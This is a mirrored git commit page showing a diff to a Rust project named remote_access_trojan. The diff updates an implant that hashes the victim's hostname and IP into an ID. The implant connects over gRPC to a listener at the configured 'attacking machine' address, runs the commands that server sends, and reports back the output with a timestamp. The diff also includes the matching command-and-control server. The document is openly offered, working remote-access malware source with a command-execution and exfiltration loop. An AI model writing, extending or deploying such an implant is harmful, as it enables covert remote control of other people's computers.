mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
using a real timestamp and a real implant ID now. also using values from config
This commit is contained in:
Generated
+1
@@ -622,6 +622,7 @@ name = "remote_access_trojan"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"prost",
|
||||
"rco_config",
|
||||
"tokio",
|
||||
"tonic",
|
||||
"tonic-build",
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
For tcp_reverse_shell
|
||||
For tcp_reverse_shell OR remote_access_trojan
|
||||
*/
|
||||
|
||||
// IP address of the attacking machine
|
||||
|
||||
@@ -8,6 +8,7 @@ rust-version = "1.58"
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
prost = ">=0.9"
|
||||
tonic = ">=0.6"
|
||||
tokio = { version = ">=1.17", features = ["rt-multi-thread"] }
|
||||
|
||||
@@ -20,7 +20,7 @@ message CommandRequest {
|
||||
|
||||
message CommandResponse {
|
||||
string implant_id = 1;
|
||||
int32 timestamp = 2;
|
||||
uint64 timestamp = 2;
|
||||
string command = 3;
|
||||
string result = 4;
|
||||
}
|
||||
|
||||
@@ -1,47 +1,75 @@
|
||||
use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient;
|
||||
use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient;
|
||||
use remote_access_trojan::rat::{self, Beacon, CommandResponse};
|
||||
use remote_access_trojan::rat::{Beacon, CommandResponse};
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::hash::{Hash, Hasher};
|
||||
use std::process::Command;
|
||||
use std::time::SystemTime;
|
||||
use tonic::transport::Endpoint;
|
||||
|
||||
fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
fn generate_implant_id() -> String {
|
||||
let hostname = Command::new("hostname")
|
||||
.output()
|
||||
.unwrap();
|
||||
let hostname = String::from_utf8(hostname.stdout).unwrap();
|
||||
let hostname = hostname.trim();
|
||||
|
||||
let ip_address = Command::new("hostname")
|
||||
.arg("-I")
|
||||
.output()
|
||||
.unwrap();
|
||||
let ip_address = String::from_utf8(ip_address.stdout).unwrap();
|
||||
let ip_address = ip_address.trim();
|
||||
|
||||
let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}"));
|
||||
format!("{hashed_value:x}")
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
println!("implant");
|
||||
|
||||
// Does the protobuf structure work?
|
||||
let example = rat::Beacon {
|
||||
last_received: 0
|
||||
};
|
||||
println!("{example:?}");
|
||||
let implant_id = generate_implant_id();
|
||||
|
||||
// Can I send a protobuf from the client to the server?
|
||||
let addr = Endpoint::from_static("http://127.0.0.1:4444");
|
||||
let mut client = AskForInstructionsClient::connect(addr).await?;
|
||||
let ip_address = rco_config::LISTENER_IP;
|
||||
let port = rco_config::LISTENER_PORT;
|
||||
let socket = format!("http://{ip_address}:{port}");
|
||||
let channel = Endpoint::from_shared(socket)?
|
||||
.connect()
|
||||
.await?;
|
||||
let mut ask_client = AskForInstructionsClient::new(channel.clone());
|
||||
let mut response_client = RecordCommandResultClient::new(channel);
|
||||
let request = tonic::Request::new(
|
||||
Beacon {
|
||||
last_received: 0
|
||||
},
|
||||
);
|
||||
let response = client.send(request).await?.into_inner();
|
||||
let response = ask_client.send(request).await?.into_inner();
|
||||
println!("Response={response:?}");
|
||||
|
||||
let command_received = response.command;
|
||||
if !command_received.is_empty() {
|
||||
let command = Command::new(&command_received)
|
||||
.output()
|
||||
.unwrap();
|
||||
let command_response = String::from_utf8(command.stdout).unwrap();
|
||||
println!("{command_response:?}");
|
||||
let addr = Endpoint::from_static("http://127.0.0.1:4444");
|
||||
let mut client = RecordCommandResultClient::connect(addr).await?;
|
||||
let result = tonic::Request::new(
|
||||
CommandResponse {
|
||||
implant_id:String::from("4f12d"),
|
||||
timestamp: 100000,
|
||||
command:String::from(command_received),
|
||||
result:String::from(command_response)
|
||||
implant_id: implant_id,
|
||||
timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(),
|
||||
command: command_received,
|
||||
result: command_response
|
||||
},
|
||||
);
|
||||
let response = client.send(result).await?.into_inner();
|
||||
let response = response_client.send(result).await?.into_inner();
|
||||
println!("{response:?}");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer};
|
||||
use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer};
|
||||
use remote_access_trojan::rat::{self, Beacon, Empty, CommandRequest, CommandResponse};
|
||||
use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse};
|
||||
use tonic::{Request, Response, Status};
|
||||
use tonic::transport::Server;
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyAskForInstructions {}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyRecordCommandResult {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl AskForInstructions for MyAskForInstructions {
|
||||
async fn send(&self, request: Request<Beacon>) -> Result<Response<CommandRequest>, Status> {
|
||||
@@ -24,6 +21,9 @@ impl AskForInstructions for MyAskForInstructions {
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyRecordCommandResult {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl RecordCommandResult for MyRecordCommandResult {
|
||||
async fn send(&self, request: Request<CommandResponse>) -> Result<Response<Empty>, Status> {
|
||||
@@ -39,21 +39,15 @@ impl RecordCommandResult for MyRecordCommandResult {
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
println!("server");
|
||||
|
||||
// Does the protobuf structure work?
|
||||
let example = rat::CommandRequest {
|
||||
command:String::from("server words"),
|
||||
};
|
||||
println!("{example:?}");
|
||||
|
||||
// Can I send a stand up the server?
|
||||
let addr = "127.0.0.1:4444".parse()?;
|
||||
let ip_address = rco_config::LISTENER_IP;
|
||||
let port = rco_config::LISTENER_PORT;
|
||||
let socket = format!("{ip_address}:{port}").parse()?;
|
||||
|
||||
let instructions_server = MyAskForInstructions::default();
|
||||
let recording_server = MyRecordCommandResult::default();
|
||||
Server::builder()
|
||||
.add_service(AskForInstructionsServer::new(instructions_server))
|
||||
.add_service(RecordCommandResultServer::new(recording_server))
|
||||
.serve(addr)
|
||||
.add_service(AskForInstructionsServer::new(MyAskForInstructions::default()))
|
||||
.add_service(RecordCommandResultServer::new(MyRecordCommandResult::default()))
|
||||
.serve(socket)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
|
||||
Reference in New Issue
Block a user